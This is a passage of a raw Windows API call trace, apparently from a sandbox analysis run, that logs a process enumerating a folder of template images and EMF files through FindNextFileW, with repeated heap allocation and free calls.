(HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa04a0 [0057.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.889] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0057.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e3c0 [0057.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa05a8 [0057.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.890] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0057.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e3e0 [0057.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf96bb8 [0057.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.890] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0057.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e400 [0057.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf970e0 [0057.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.890] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0057.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e420 [0057.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf971e8 [0057.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.890] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0057.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e440 [0057.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0057.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x600) returned 0xfa07a8 [0057.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf870d0) returned 1 [0057.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.891] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0057.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e460 [0057.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0057.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.891] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0057.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e480 [0057.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0057.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.891] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0057.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.892] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.892] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e4a0 [0057.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa0dc8 [0057.892] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.892] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0057.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.892] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.892] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e4c0 [0057.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa0ed0 [0057.892] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.892] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0057.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.892] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.892] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e4e0 [0057.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa0fd8 [0057.892] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.892] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0057.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.892] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.892] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e500 [0057.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa10e0 [0057.893] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.893] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0057.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.893] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.893] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e520 [0057.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa11e8 [0057.893] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.893] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0057.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.893] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.893] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e540 [0057.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa12f0 [0057.893] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.893] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0057.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.893] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.893] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e560 [0057.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa13f8 [0057.893] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.894] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0057.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.894] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.894] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e580 [0057.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa1500 [0057.894] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.894] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0057.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.894] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.894] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e5a0 [0057.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa1608 [0057.894] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.894] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0057.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.894] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.894] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e5c0 [0057.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa1710 [0057.894] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.894] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0057.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.894] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.895] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e5e0 [0057.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa1818 [0057.895] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.895] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0057.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.895] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.895] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e600 [0057.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa1920 [0057.895] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.895] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, 